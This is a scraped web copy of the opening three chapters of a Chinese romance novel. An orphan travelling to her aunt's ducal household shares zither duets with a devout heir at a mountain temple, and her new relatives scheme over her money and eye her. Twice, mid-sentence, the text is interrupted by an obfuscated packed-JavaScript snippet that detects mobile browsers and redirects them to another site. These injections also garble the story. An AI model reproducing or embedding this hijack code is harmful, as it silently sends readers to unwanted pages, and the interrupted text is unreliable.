《妹妹说她喜欢我》 1. 第一章 夏山如碧,道路蜿蜒。 两辆马车停在路中央。 后一辆载行李货物,前一辆坐着杭州云家的小姐——云窈。 早年间云家在杭州经营乐器行,十来间铺子,也算出了名的富户。奈何人丁不兴,一代比一代凋零。待云窈父亲去世,一家子就只剩下孤儿寡母,不得不关停最后一间商铺。 没五年,云窈的娘亲单氏亦害重病,却又担心云窈,日日吊着一口气,直到收到早年嫁去京师的大姐来信,愿意代替妹妹照顾云窈,单氏这才瞑目离去。 而云窈,则上京投奔唯剩的亲人。 眼瞅着快到京师,前方却封了路,石块挡着,佩刀差役巡逻,云窈不安,怕得罪官府,差两位家丁兼马夫小心翼翼去打听。 隔得远,只能瞧见他们嘴唇张合,听不见声。待家丁回来,云窈紧张先问,声音透过紧闭的车窗传出去:“张叔、卢叔,前边到底怎么了?” “回小姐,前面山路这几日不断滚落石头,官府担心伤人,封路修缮,行不得了。” 云窈闻言轻柔平移开车窗,眺望远处,落日熔金,暮云合壁,应该已过酉时。 上山前很长一段路都是荒郊野岭,彼时打听,要翻山才有脚店。倘若折返……她这一路谨慎,还未行过夜路,不由担忧,眉眼间泛起愁云。 云窈不知,在她眺望如画夕阳,心思沉沉时,旁人却皆当她是画,目光汇聚在她脸上——方才惊鸿一瞥,远处那群差役就都倒吸一口凉气:从未见过这般好看的女人! 皆道神女仙子最美,但她们到底怎么个美法?没人见过,想不出具体模样。 此刻见了云窈,齐刷刷冒出个念头:哦,原来仙女长这样,是真美。 家丁瞧出云窈忧虑,续道:“小姐,大人们方才提点,这山上有个香火颇盛的水月寺,离得不远,折返头一个岔路右拐便到,可以借宿伽蓝。” 片刻,云窈颔首:“只能如此,麻烦二位叔叔了。” 家丁们皆道不麻烦,跳上车轼,叮嘱云窈坐稳后调转马头,照着指引,行刻把钟,既到一座山寺。 红墙灰瓦,还未进寺就闻得淡淡香火味。坐阶上打盹的小沙弥被勒马声惊醒,快步跑过来,合十作揖:“阿弥陀佛,施主们是来上香的吗?” 家丁回以佛礼:“前边封路,我家小姐想在贵寺借宿一晚。” 常遇着此类情形,小沙弥自然而然抬手:“那施主们请随贫僧去见法师。” 家丁应好,婢女落玉挑帘,和云窈前后脚踩凳下车。云窕已戴好帏帽,严实的白纱遮住面目,小沙弥瞥了眼她的身段,已经转过头的人,忍不住转回来再瞧一眼。 小沙弥合掌定心,引众人去禅房,本寺住持闭关,小事暂由一名叫弘元的法师做主。 云窈捐了些香火钱,弘元法师便让知客僧领众人入住。途经大雄宝殿,云窈踟蹰:“方丈,能否允奴先进去拜一拜?” 知客僧应允。 云窈便携落玉进殿。 候在殿外的家丁同知客僧道:“我家老爷夫人笃佛,小姐从小耳濡目染,逢寺必拜。” “阿弥陀佛,施主虔诚,功德无量。” 一排案上皆供着香油烛台,佛火摇曳。云窈跪在蒲团上,默默祈愿父母往生西方极乐,又求菩萨保佑接下来旅途和到姨妈家后的生活皆顺利。她重重磕了三个响头,而后出殿。 知客僧领着众人继续往前走,女客的厢房地势高些,也更远,在竹林溪水前。今日只云窈和落玉两位住客,左右皆空。室内古朴,铜瓶里插了几根外头摘的竹叶。 用过晚膳,一轮明月升。 云窈有些择床,听地铺上窸窸窣窣的声音,便小声问:“落玉,你也睡不着吗?” “嗯,总觉得有蚊子。” 蚊子? 云窈眼睛四望,亦躺床上静听,没发现蚊蝇,倒听见竹林那边隐约传来乐音。 她坐起,呢喃:“是琴声。” “琴声?”落玉也鲤鱼打挺坐起,皱着眉毛听半晌,“好像是有……” 云窈已经细辨听清,对方弹的是《楞严佛曲》。皆道“弹琴不清,不如弹筝”,此人弦清、音清、心清、骨清,不染纤毫浊气,是个世间少见的高手! 云窈不自觉翘起唇角:“落玉,拿我琴来!” 没有旁的住客,不存在惊扰,她要与此人合奏。 云窈噙笑低头,眸子变亮,一挥手和上琴音。 远处,青青幽竹下,盘膝奏琴的年轻男子听见旁音,手上一顿,下一霎面不改色续上,菩提无树,明镜非台,本无一物,亦无杂音。 男子微垂双眼,指尖抹挑,一束清冽的月光刚好投在他的右手上,照出修长五指,凸起的骨节和浅淡青筋。 他着一身最朴素的布袍,却难掩矜贵气质,眉骨如青山隐隐,丹凤内敛,眸光温润,照世不灼人,就是与头顶那轮明月比,也不输光华。 甚至比皎月更吸睛。 一曲终了,男子收臂,原来不是杂音,而是来合奏的。 合奏之人不仅琴技上佳,亦懂佛礼,指尖虔诚,弦音和平沉稳,如流水洗心。 不知是哪位香客,也算祇树有缘。 男子抱琴,悄然离去。 翌日,他携长随至住持禅院,将一踏入,尚未靠近禅房,便有一众寺僧上前:“阿弥陀佛,世子,师父今日仍闭关。” 男子合十作揖:“无妨,我明日再来。” 直背转身。 寺僧们面对男子离去方向,低眉敛目,当中有心性定力差的,禁不住暗中唏嘘:男子乃当今魏国公的嫡长子齐拂己,修佛多年,常来水月寺与住持辩经、修禅。今年年初更是来发愿剃度,却遭住持拒绝,夏日再来,直接吃上闭门羹。 齐拂己不气不馁,在水月寺住下,每日一问,待住持出关。 从禅院出来后,他雷打不动去大殿诵经,沿山路缓行,身边乱石青苔,偶有几棵含笑横于涧上,一条蜿蜒小溪与齐拂己所行方向反背,潺潺下淌,直流经女客厢房后。 房门口,云窈正听家丁回报,官差要用醋软化落石,加固山壁,还需两日才能完全缓解险情,解封。 她听完,掏出一袋子钱递给家丁:“麻烦叔叔们,这些香火钱交到弘元长老手上,说我们要再多住两日。” “诺。” 家丁走后,云窈关门,也不胡乱走动,就在房中抄经。 正写着,落玉多嘴:“小姐,你说今晚那人还会弹琴吗?” 云窈搁笔,扭头笑问:“喜欢听?” 落玉重重点了下脑袋:“好听呀,想再听一回!” 云窈抿唇:“昨夜难得遇见知音,我亦觉不尽兴,也想再得机会合奏。”她的眸子天然水润,一笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15499676|170282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就万种含情,“只是不知那人是寺僧还是香客,若是寺僧还好说,若是香客,只怕今日已走,再难逢了。” 话音落地,落玉立马唏嘘。云窈脸上却无遗憾失落,人与人间如云聚散,缘来则聚,缘尽则散。有些人的缘分就只修得一日,不必强求,正如昨晚《楞严佛曲》曲意所明,因缘和合,虚妄有生;因缘别离,虚妄名灭。 云窈没有执着期待,夜里却又听见琴音。 对方今晚弹的是《妙花佛曲》,云窈才刚眺向窗外,扬起嘴角,落玉就已取琴摆到桌上:“小姐,给,琴!” 云窈坐定,含笑抬手,指尖一挑,音若凰鸣,飞出窗外与那人的凤音相汇纠缠,蹁跹双飞,继而演绎天女散花,观世音现莲台妙相,柳枝甘露洒遍三千。 齐拂己这回遇到合奏,没再手顿,只在一曲弹完时,静默须臾,而后微扬下巴,低眉的菩萨竟罕见地挑了下眉。 他抬手,再多奏一曲《宝花步佛曲》。 这厢,云窈讶异,但更多的是惊喜,没想到对方今夜多弹一首。 她赶紧和上,指拨弦动,妙音恰似玉镜下面开莲花,二人虽隔得远,但共一轮明月,一片青竹,琴音亦同。 丛丛翠竹在溪中倒映出清雅绿影,心境相通。 …… 齐拂己的长随大安和速喜,都发现世子今夜比平时回得晚些。 他们想问又不敢问,而世子则始终面色恬淡,将怀抱的七弦琴缓缓放置桌上,吩咐:“大安,收琴。” 翌日,齐拂己再访住持禅院。 还未行至院门口,就眺见二僧垂眼伫在门两侧,似已恭候多时。 齐拂己脚下稍微加快,至近前,二僧施礼:“世子,师父已经出关,请随我们来。” 齐拂己合掌还礼,跟随寺僧步入住持精舍,内里窄小,除却一张禅床再无它物,取一丈见方,广容大众之意。 住持已逾耄耋,弯弯垂着一对寿星眉,见齐拂己来,在禅床上念阿弥陀佛。 齐拂已上.床盘膝,与住持对坐,再次发愿剃度。 住持低垂眉眼:“世子身份高贵,于红尘中享黄金白玉的人,不该舍身。” 齐拂己旋即回应:“释祖乃毗罗卫太子,亦能出家。” 住持一笑:“世子六根未净,红尘难处,老衲不能为您落发。” 齐拂己沉默少顷,启唇:“这是我父母托付长老的说辞?” 住持垂首,先合十拜了拜,方回:“国公爷的确叮嘱过老衲,万不可给世子剃度。但老衲拒绝世子,却并非因为国公爷。世子……”住持顿了顿,“身心的确仍在红尘中。” 齐拂己定定看着对面高僧。 住持缓分两唇:“从前临安亦有一座水月寺,寺中玉通禅师清修多年,不曾出关,因此未能迎接到访的临安府尹。府尹恼其怠慢,遣了一名唤红莲的美姬来诱玉通禅师。当夜,红莲假装肚痛,要玉通偎贴,玉通魔障到了,与其成云雨之事,正所谓‘可怜数点菩提水,倾入红莲两瓣中’。” 良久,齐拂己沉声开口:“长老和我讲这,意欲何为?” 主持合唇垂目,再不言语,仿佛宝殿里入定的菩萨。 齐拂己因被误解血液上涌,薄唇微颤:“荒谬。” 自己这半生何曾为女色动过心? 一介高僧竟惧国公权势,说出如此荒谬的推辞! 2. 第二章 齐拂己深吸了口气,缓缓平复情绪,向主持温施一礼离去。 他回到厢房,吩咐长随们:“收拾下,明日回京。” 这趟发注定落不成了。 傍晚狂风大作,黑云堆聚,提早黑天。 “这天要下大雨了啊。”大安望天关窗,继而用余光偷瞥齐拂己——世子养成的习惯极少更改,在水月寺每晚必奏佛曲,怕是狂风暴雨仍劝不住。 大安和速喜对视一眼,最终谁也没开口,只在齐拂己抱琴出门时,大安默默抓了把伞跟上。 齐拂已顿足、转身,淡道:“不必跟随。” 风雨浸身亦是苦修之一。 不一会果然下起如泼雨,石苔滑腻,溪流湍急,齐拂己至竹林衣袍皆已湿透,却如常坐定,不紧不慢起手奏琴。 女客厢房内,见下雨,云窈和落玉忙着一扇扇将窗关严实,免得雨溅进来。 关完落玉去忙别的,云窈却在窗前驻定,蹙眉凝目。 落玉回首:“小姐,怎么了?” 云窈瞥向紧闭的窗子,微露怔忪:“他今夜还弹?” “啊?这么大雨呢!”落玉快步走近窗前,竖起耳朵辨了会,哗哗雨声里是有那么一点琴音,“这衣裳不全湿了啊?” 云窈笑:“哪有暴雨里弹琴的傻子,人家肯定是在阁子里弹啊!” “也是。”落玉一脸羞愧,过会,又问:“那小姐今夜还合奏吗?” “拿我琴来。” 二女同时出声,相视一笑。 云窈便与那知音第三回合奏。 没想到他再弹的一曲是《药师琉璃光佛曲》。 云窈愣怔,继而大恸——药师琉璃光如来是大医王佛,救众生疾病,娘亲缠绵病榻时她曾日日弹奏诵念,祈愿娘亲病愈,然而还是病逝了。 云窈悲从中来,终忍不住弓背伏低,一音抹长。 远处,齐拂己微挑了下眉,恬淡的面容渐变肃然——对面合奏之人不似前两日心静,琴音亦不清,似有无限痛楚,却又未完全泯绝希望。 恰如佛前灯芯,摇曳不灭。 齐拂己对此人生出一丝敬佩,又起了慈悲普渡心,他暗暗运起内力,将琴音奏大。 佛曲变奏,忽然变得光华灿烂,若药师佛光明广大。 云窈兀地抬首,合奏之人在宽慰鼓励她。 她僵住,断了音,对面却仍未停,反而越弹越响亮,琴音穿云破竹。云窈深吸口气重新埋首,重合上琴意。 对方这回有意引领她,云窈不由自主随了对方节奏,越弹越铿锵,一曲终了,窗外暴雨未止,她心里却已雨过天晴。 云窈手又在弦上拨了一串音。 她在道谢。 远处齐拂己会意,浅抿唇角,垂下的眉眼间闪过一丝几不可察的笑意。他没再回应云窈,抱琴起身。而这边云窈也已执伞提灯,走向房门,都起手推门了,听愣的落玉才倏地回神:“小姐您要去哪?” 云窈戴上帷帽,语气坚定;“我要去当面道声谢。” “我和您一起去!”落玉起身。 云窈点头:“好,夜里两个人更安全些。” 落玉接过灯笼帮云窈提着,二女雨夜出门。 “小姐您还记得琴音是从哪发出来的吗?”没佛曲了,落玉忘记来处。 “记得。”云窈铭记于心。 “现在没声了,”落玉怯怯问,“那人还在那吗?” 云窈锁眉:“所以要快些去。” 说着脚下加快,瞥见前方一修长身影,怀中似乎抱着琴,青丝白衫,仿佛雨中仙鹤。 云窈忙问:“前面师兄可是合奏之人?” 齐拂己脚下一滞,起先不明所以,继而反应过来,同他合奏的竟是一名女子! 就在这时,数道闪电骤将黑夜撕裂,白光挟风,照得他脸色恍白。 接着便轰隆隆雷响,大雨瓢泼。 闪电停了,天地间复归漆黑。 齐拂己转回身,于朦胧中见一窈窕女郎戴着帏帽下拜,大雨滂沱中她的嗓音有点变调,但仍能辨出其声款款:“我明日便要离寺,特地来谢过师兄,一曲宽慰。” 半晌,齐拂己淡回:“些小之事,何足挂齿。” 说罢颔首,算作道别,接着与云窈南北相背,渐行渐远。 大安和速喜已早备好热水,齐拂己沐浴不喜旁人伺候,俩长随退出悄带好门。 时候不早,齐拂己沐浴更衣后,上.床就寝。窗外雨仍下个不停,他梦里竟也淅淅沥沥下起雨,那合奏的女子举着伞款款朝他走来,她膝下全是朦胧黑雾,并无地面,却清晰感觉到雨滴落下溅起,叮咚一声敲在他心上。 涟漪蔓延散开。 女子朝齐拂己盈盈一拜,帏帽的白纱微扬,依旧瞧不清样貌,那纱却绕向他脖颈,交缠。她随纱飘向床榻。 床也在雨中,湿漉漉地下,她坐在他膝上参起欢喜禅,软玉温香。 …… 齐拂己如常在丑时醒来,却发现床单也被雨淋湿了。 自十三、四岁后,许多年未曾出现过这般梦中失守情形。 齐拂己盯着帐顶,先是茫然,继而脸色铁青。 天仍黑着,他起身掌灯,穿好衣后提起桌上水壶,倒了一杯冷茶,泼在床单上。 而后方才唤人。 大安端热水服侍梳洗,速喜打扫,很快就发现床上的茶水渍。 齐拂己正用帕子擦脸,挪开巾帕,风淡云轻:“早上失手泼了盏茶。” 说罢将帕子递给大安。 速喜默不作声换了张新床单,将脏的抱出去清洗。齐拂己不紧不慢再开口:“先不走了,再住几日。” 此话一出,大安和速喜齐齐扭头,盯向齐拂己:行李都收拾好了,怎么突然改变主意? 世子从来一言九鼎,不是朝令夕改的人。 齐拂己獠眼皮瞥向窗外,阴雨连绵,能听见檐角不断滴下的水珠声。 “等雨小些再回去。”他说。 大安和速喜恍然大悟,原来世子介意雨天难行,要等雨停了再走。 齐拂己不再言语,推门去大殿上早课。 路上踱步,他缓缓地想,昨夜的意外不过是被长老那两句菩提红莲所迷,自己在水月寺再多待几日,定能彻底摒除欲根,再不因女色起波澜。 夏日天亮得早,东方已见一线灰白,夜退昼来,光明万丈,齐拂己愈发笃定。 女客厢房,云窈犹在梦中。 今日道路解封,可以走了,她起来后不慌不忙梳洗早膳,再收拾确认一遍行李,忙完一切,刚好赶上早课散了,弘元法师得闲,道过别才离开水月寺。 虽然路通了,但山上曾经掉过石头,云窈不放心,叮嘱马夫行路慢些,左右都张望着,因此辰时出发,近戌时才翻完山。 京城城郭楼台已经隐约可以眺见,要是赶一赶,子时能到国公府,但云窈仍坚持不走夜路,且三更半夜打扰不好,便先在山脚的客栈住了一晚,才再进京,守卫审完路引,放云窈一行人进城。 一通过城门,马车的颠簸立刻就没有了,只听见车轱辘转动的声音,落玉禁不住同云窈感叹:“小姐,这京城的地得有多平?” 太平日久,繁阜喧闹,落玉心痒:“小姐,开窗瞧瞧吗?” 从前多是姨妈回杭州,家里人只上过一回京,那时候云窈娘亲都还是未出阁的少女,哪里有云窈。 她也是第一回来京城,十分好奇:“那就瞧一会吧。” 云窈笑着移开车窗,雕楼画阁、宝马香车和行人纷纷扑入眼帘。 没想到炎炎夏日街上仍摩肩接踵,许多青布伞支的摊位正卖凉粉、冰糖绿豆或荔枝膏,还有位老妪蹲那卖红菱,一筐子水灵灵将采出来。 “我们买些菱角吧?”落玉打商量。 云窈犹豫:“不好吧,待会要去姨妈家里。” 要是回自己家就买了。 落玉想想也是,点了下脑袋,忽又眼尖指远处叫囔:“那边是乐棚吗?演的什么?” 云窈促眸:“看不清。”她抓落玉的手,“这会要去姨妈家了,不能绕路去瞧,等以后有机会出府,我们一起去看。” 落玉信小姐,高高兴兴应了声好,云窈便将窗推关上。 之前姨妈回信仅提及国公府在城南,具体位置不详,车夫一路走一路问,正要拐上飞虹桥,一辆对面来的马车也要上桥。 桥面只够一车通行,一时都堵在桥下。云窈觉出异样,将门帘挑起一缝,偷瞧见对方光车骏马,比她们的车富贵许多。 云窈是无权无势的外地客,多一事不如少一事:“卢叔,我们往后退,让他们先走吧。” “好。”马夫就要勒缰后退,却怔了下,“小姐。” 此时云窈帘子已经落下,瞧不见外面:“怎么了?” “对方也退了。” 她挑起一看,对方竟真后退了许多,让出道路:“既然如此,我们先过吧。” “喏。”车夫便不客气了,扬鞭赶马,左拐上桥。照指路下桥往右走,不多时便见石狮牌匾,高墙飞檐,好一座气派府邸。镀金椒图的朱门紧闭,马夫将车停在角门,叩门禀明来意。 却说方才让云窈的那辆车也缓缓驶来,驾车的长随扭头冲车厢里喊:“二公子,刚刚让的那辆车,竟是去咱们府里的。” 这车车窗是对开,还多两扇绿纱,此时木窗开着,只关绿纱,车厢中着青缎袍子,戴玉冠的公子径直往外眺:“来家里的么?” 须臾,他推开绿纱窗,眯着眼睛凝望角门,见一戴帏帽女子娉婷下车,进了国公府。 待回家,这位二公子不禁多问一句:“今日家里来客人了?” 门子回:“吏部的刘大人有来拜公爷。” 吏部刘侍郎是魏国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15499677|170282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公门生。 二公子摇头:“不是这,我问刚刚进来的。” “哦,那个啊,那是二房单姨娘家亲戚。” 天气热,二公子摇着折扇徐徐颔首,往二房所住方位眺了一眼,便收回目光,自去上房拜母亲去了。 且说云窈这厢,自过垂花门就改上软轿,沿路亭台楼阁、假山花苑、碧波曲桥,不知绕了多久,仅月洞门就穿了近十扇。她想:这国公府可真够大,跟书里说的皇宫差不多。 这些年陆陆续续听家里人讲过一些国公府近况:齐家先祖开国之初立下赫赫战功,是世袭罔替的高门。原先封的是信国公,老一代国公有一嫡一庶二子,嫡子齐峦继袭齐爵位,又中三元,升为魏国公,风光无两,连那皇帝也将汉阳公主下嫁。夫妻俩和如琴瑟,育有两子。本朝驸马亦可为官,齐峦如今做到太傅,天子近臣。 而二房庶子齐岚就龙生九种,大有差别。 他屡试不中,后来老国公给捐了个朝散大夫,结的姻亲是羽林中郎将冯家。魏国公和公主一世一双,齐岚后院却莺莺燕燕,云窈的姨妈单氏最初仅是名侍妾,苦熬多年,又生了齐岚唯一的儿子,这才脱颖而出,抬成贵妾。 再后来冯氏身子不行,二房的内宅都交给单氏打理,就愈发得脸面了。 “我们姨娘……” 轿旁来接应的婢女开口说话,云窈立马回神倾听。 那婢女道:“我们姨娘天天挂念姑娘,不知白了多少根头发,掉了几多眼泪。” 云窈抿唇,忽觉身一沉,原是小厮们放下软轿退去,婢女领她再过一到月门,拔高嗓门通报,立马有旁的婢女打起帘笼,搀扶单氏出来。单氏和云窈母亲长得极像,云窈一见眼热,单氏更是快走数步,将云窈搂进怀中,泣道:“我苦命的琴琴!” 琴琴是云窈乳名,一来家中开乐器行,二来取“窈窕淑女,琴瑟友之”之意。 此情此前,云窈也抑制不住,泪似断线珍珠不住地落。 婢女们你一言我一语地劝慰,云窈听见一清冽男声道:“娘——您别哭了,妹妹也莫要太伤心。” 她抬首,泪眼朦胧,只能瞧见男子的蓝袍轮廓。 单氏也抬头,自有贴身婢女递上手绢,单氏接过抹了把泪:“这是你宽哥哥。” 云窈恍然大悟,这是姨妈的儿子齐宽,小时候母子返杭,见过一回。记得那时家里请姨妈和齐宽游西湖,她跟齐宽同乘一舟,摘了满船荷花。 云窈掏自个的手绢擦干净眼泪,向齐宽问安,直起身时发现齐宽正直勾勾盯着自己。云窈心一沉,本能避开。 那齐宽仍噙笑注视。 云窈面朝着单氏,不敢再往旁边看:“方才光顾着哭,忘记给姨妈问安了。” 说着屈膝躬身,单氏一把扶住:“唉——咱们不讲这些虚礼。” 单氏领云窈进堂屋,上首坐一中年男子,四十上下年纪,常服微髯。云窈正吃惊齐岚竟然在家里,就听单氏吩咐:“这是你姨父,快来见礼。” 该称姨父吗? 云窈小心为妙,拜道:“晚辈云窈,见过大人。” “起来吧。”齐岚笑问单氏,“这就是你家那孩子?怎么和你、你妹妹都不像?” 云窈得了令才重抬眼,发现齐岚竟也正盯着自己,眼神跟方才齐宽的一模一样。云窈赶紧挪眼。 “她像妾身那妹夫。”单氏说着说着,又绕到云窈爹娘早逝上面,泪又湿了。 齐岚等她拿帕子擦了擦眼,才道:“可怜孩子,倒是个模样周正的。” 言罢阖唇。 单氏转头张罗云窈落座,和她说了两三句,续道:“你舟车劳顿先去歇息,晚些姨妈再设席面,我俩个好好把这些年没说上的话都说一说。” 云窈应好,还是方才接她的婢女,领去安排好的房舍。过道抄手游廊就到,二丈见方,比云窈家里的闺房宽敞,但是四面白墙,除却架子床上挂了帐幔,铺设被褥,妆台屉柜博古架全空荡荡。 又瞧窗外,虽然面墙,仰头只见一线天,但墙边有棵绿油油的芭蕉,还伫着块比她个头还高的假石,倒也曲致。 她开始和落玉一道收拾行礼,把带来的体己物一样样捡进柜里,瞧这些柜子虽空,但都一尘不染,想到姨妈遣人费心打扫,不由心中涌起暖意。 却不知堂屋里齐岚正斥单氏:“怎么没说两句就让她走了?” 齐宽亦道:“就是,母亲也不让我送窈妹妹。” 单氏垂帘缄默,齐岚嗜赌,已亏光二房账目上的银两,这趟提议接云窈来,就是为着拿云家财产填账。 但方才相见她动了情,一时只记得骨肉离合。 齐岚皱眉叮嘱:“待会席面上再提,你可一定要记得。” 单氏眺了眼夫君,她同齐岚做了交易,待得云家财产,就将齐宽记到那正妻冯氏名下做嫡子。 单氏抿唇:“知道。” 3. 第三章 “大人。” 忽听一声呼唤,堂中仨人齐齐望向门口,透过竹帘的缝隙瞧见齐岚的长随常禄正作揖:“大人,朝中出了事,马大人于大人都在官署里,着急等着您去。” 齐岚和齐宽父子皆起身,快步走到门口,齐宽挑起门帘,常禄低语数句,坐着的单氏竖起耳朵仍听不清。 齐岚回转身知会她:“衙门里有事,我和宽儿出去一趟。” 单氏心想自家夫君是个散官,儿子尚未入仕,一起挤去衙门做什么? 但见齐岚穿绯袍,挂鱼袋,一本正经,她又不敢再腹诽,将伺候的婢女遣退,亲手帮齐岚整理衣冠。 齐氏父子前后脚出门,待到府外,相视一笑。 方才常禄言语全是教好的说辞,齐岚也不全是赌博亏空,他在城东养了个外室,比自家女儿还小一岁,花销不菲。 齐宽亦有自己目的——近来包了花魁娘子,去得频繁。 父子俩互相打掩护,过了飞虹桥改换两辆马车,分道扬镳。 车厢中,齐宽微微晃身,勾唇抵腮,没想到长大后的窈妹妹比花魁娘子还好看。 另一辆车里,齐岚亦无声叩指,那单氏侄女生得可真美,单就那几步下拜,就娇花弱柳,让人禁不住想揽进怀中好好地疼。 沿路惦记这事,到了给外室买的宅子里,佳人入怀,齐岚忽然冒出一个念头:这外室和云窈同岁,一般大。 齐岚眼神暗了暗,今日待外室格外孟浪,甚至忘了晚席。 飞虹桥下,特地沐沐浴,去除了身上脂粉味的齐宽不住张望,蹙眉捶手:“爹怎么还不来?” 每回都约好一起回家,今日齐岚怎么不守时? 国公府二房的膳厅里,面对一桌布好佳肴,单氏撇了撇嘴,沉脸道:“吃吧。” 云窈哪里敢动筷子,只觉这里比家中拘谨许多,小声劝慰:“姨妈,要不再等等?” “吃吧吃吧,别管那俩没良心的。”单氏自个拾起筷子,要夹菜前却又定住,“衙门事情多,不是有意怠慢,你不要往心里去。” 云窈摇头,并不介怀。她咬唇,终于称呼了姨父:“姨父和表哥百忙中抽时间接待我,已经很感激了。” 单氏没再接话,转而吩咐婢女,将父子俩爱吃的几道桂花鱼翅、五味杏酪羊和红烧寒菌先温上。 这才开吃。 云窈嚼得慢,将夹两筷,齐宽就打帘子进门,人未近前,笑先传来:“娘,我回来了。” 单氏不由自主笑了下,下一刹板起脸:“你父亲呢?” 齐宽等不到父亲,自个先回,自然想好说辞,流利作答:“他和马大人、于大人私下议事,孩儿不方便听。” 单氏点头:“平常你父亲带你,都是机会,要多学着。” 齐宽扫了一圈,挑云窈旁边空位掀袍坐定:“娘教育的是。” 云窈缩臂。 “吃吧。”单氏道,齐宽爱吃的五味杏酪羊下架着小炉,一点烛火正温,她先夹一片羊肉给云窈,热情堆笑:“试试这个。” 云窈连忙将碗递过去,主动接了道谢,单氏笑道:“自家人,别客气。” 说着再夹一片,看似顺手,实则晓得齐宽不爱全瘦,特地挑了片带油的,塞进儿子碗中。 齐宽谢过娘亲,起手却夹水晶丸子,欲往云窈碗中放:“妹妹也尝尝这个。” 单氏自夹自吃,当没看见。 云窈想缩碗又不敢缩,应着头皮道谢。 齐宽缓慢将那粒丸子放到云窈的米饭上,眸光深沉。 云窈低头扒饭,再不抬头。 过了会,单氏忽然随口一问:“琴琴,以前你娘和我说家里的铺子关了但没卖,一直租着,现下还是这样么?你娘信里没交待,我那会肝肠寸断,也忘了问。” 云窈口中有饭,正努力下咽,未能及时作答,单氏便抢了先,续道:“要是,得差个人手,隔段时间回杭州收租。” 到时候她指派,便好动手脚了。 云窈咽完了,一五一十交待:“娘亲就是怕姨妈麻烦,让我上京前把铺子都卖了。” 小单氏油干灯尽前,亲自将半街铺面都卖了好价钱,她说云窈去了京师,离杭州千里,山高皇帝远,以后收租未必能到自己手上,不如握一笔丰厚现钱。 “都卖了?那你家的地呢?”单氏脱口而出,不自觉声音拔高。 云窈一下被吓到,不知自己哪里说错了。 她低头咬唇,声音比蚊子还细:“也卖了。” 单氏这才意识到自个失态,正吐纳调整,齐宽悠悠开口:“那妹妹带这么多财物上京,还好沿路没有遇到山匪贼盗。” 单氏闻言狠狠剜了齐宽一眼。 齐宽合唇,吃他爱吃的,肥瘦相间的羊肉。 云窈未觉出恶意,冲齐宽一笑:“是啊,多亏菩萨保佑,一路平安。” 单氏母子俩皆噎到。门口骤响起响亮男声:“那你有没有打算京中置产?” 门帘唰唰打得响。 云窈见是齐岚,放下碗筷,起身行礼:“大人。” 单氏看眼外头,天都黑了,不由暗暗嘀咕:黑灯瞎火,这才晓得回来了? 却也站起来帮齐岚摘官帽,嘘寒问暖。 齐岚走近数步,几乎贴着云窈:“那你就没想过在京师买点地和铺面?” 齐岚的算盘打得响,一旦云窈开口有想法,他就说自己京师熟,人脉广,可帮忙代购,然后将她连人带财一并收了。 云窈却觉齐岚身上好大一股男人热气,熏得她想后退,心肝发颤,磕磕巴巴:“我娘、我娘说等我出嫁以后再说,将来嫁到哪里,就在哪里买庄子,不要先买。” 她感觉齐岚再逼近点,自己就要哭了,终于忍不住后退。 齐岚和单氏飞快对了一眼,云窈娘亲将丧,起码守孝三年。可账面上的亏空,外头借的贷,哪哪都等不了三年。 单氏晓得云窈有个打小订亲的未婚夫,杭州本地人,姓刘,小时候尚玩得好,到十一、二岁,刘公子却病故了,便问:“你后来又说亲了吗?” 云窈摇头,眼尾泛红。 单氏只好劝慰:“那刘家公子和你欠些缘分,莫太执念了。” 云窈不吭声。 齐岚坐下,用单独的瓷勺舀桂花鱼翅吃:“既然来了家里,就是至亲,我自会护你周全,日后亲事什么的,都会帮着张罗。” 单氏闻言眉心一跳,默默嚼米。 云窈浑不觉深意,谢过齐岚。 少顷,单氏接口:“你姨父说得对。”她咬重姨父二字,又道,“瞧你这趟带的丫鬟就一个,外头那些糙汉子却有两个,哪有这样本末倒置的?” 云窈愣住,缓缓看向单氏。 单氏似平常拨算盘那般,噼里啪啦就给云窈安排了:“府里马夫不缺,我看那两人年纪也大了,不如遣散回杭。丫鬟这边我再拨一个,叫你遂心省力。”说着便唤,“桂圆!” 出列的正是去府门口接云窈的婢女。 单氏吩咐:“你以后就服侍云姑娘,一定要尽心尽力。” * 青山隐隐,水月寺。 齐拂己照旧在竹林里弹琴。 月辉一束照于石上,溪水潺潺犹如合奏,他却忆起之前三日合奏的女人。 若黄莺般好听的声音在脑海中重响起,“我明日便要离寺,特地来谢过师兄。” 她应该已经不在寺里了吧?齐拂己缓缓地想。 一首《普庵咒》弹毕,稳稳当当,只有齐拂己自己清楚,当中弹错了一个音。 他板着脸再弹,这回是《色空诀》,音极低沉平缓,似身浸于寒潭中,心若冰清。 这回没有弹错,齐拂己面色稍霁。 他又弹了第三首,亦不错一音,确认彻底摒除杂念后,方才抱琴回房中。 速喜和大安边关门边对望,世子今夜又回晚了。 * 翌日,国公府。 云窈开了紫漆描金山水檀木盒的锁,取出数张银票,等分两份,到大门□□给被遣散的张叔和卢叔。 二家丁接过票子,错愕分唇:“小姐,给这么多?” 说着往云窈手上退。 云窈手背到身后,不接,笑道:“您二位在我家做了二十年,这些是应得的。” 卢张二人依旧犹豫了会,才鞠躬:“谢谢小姐。” 卢叔抿唇哽咽了下:“那我们……回去了。” 云窈也哽:“一路平安。” 忽觉鼻酸,吸了吸鼻子。 “小姐日后回杭州,一定要告诉我们。” 云窈终忍不住湿了眼眶:“一定。” 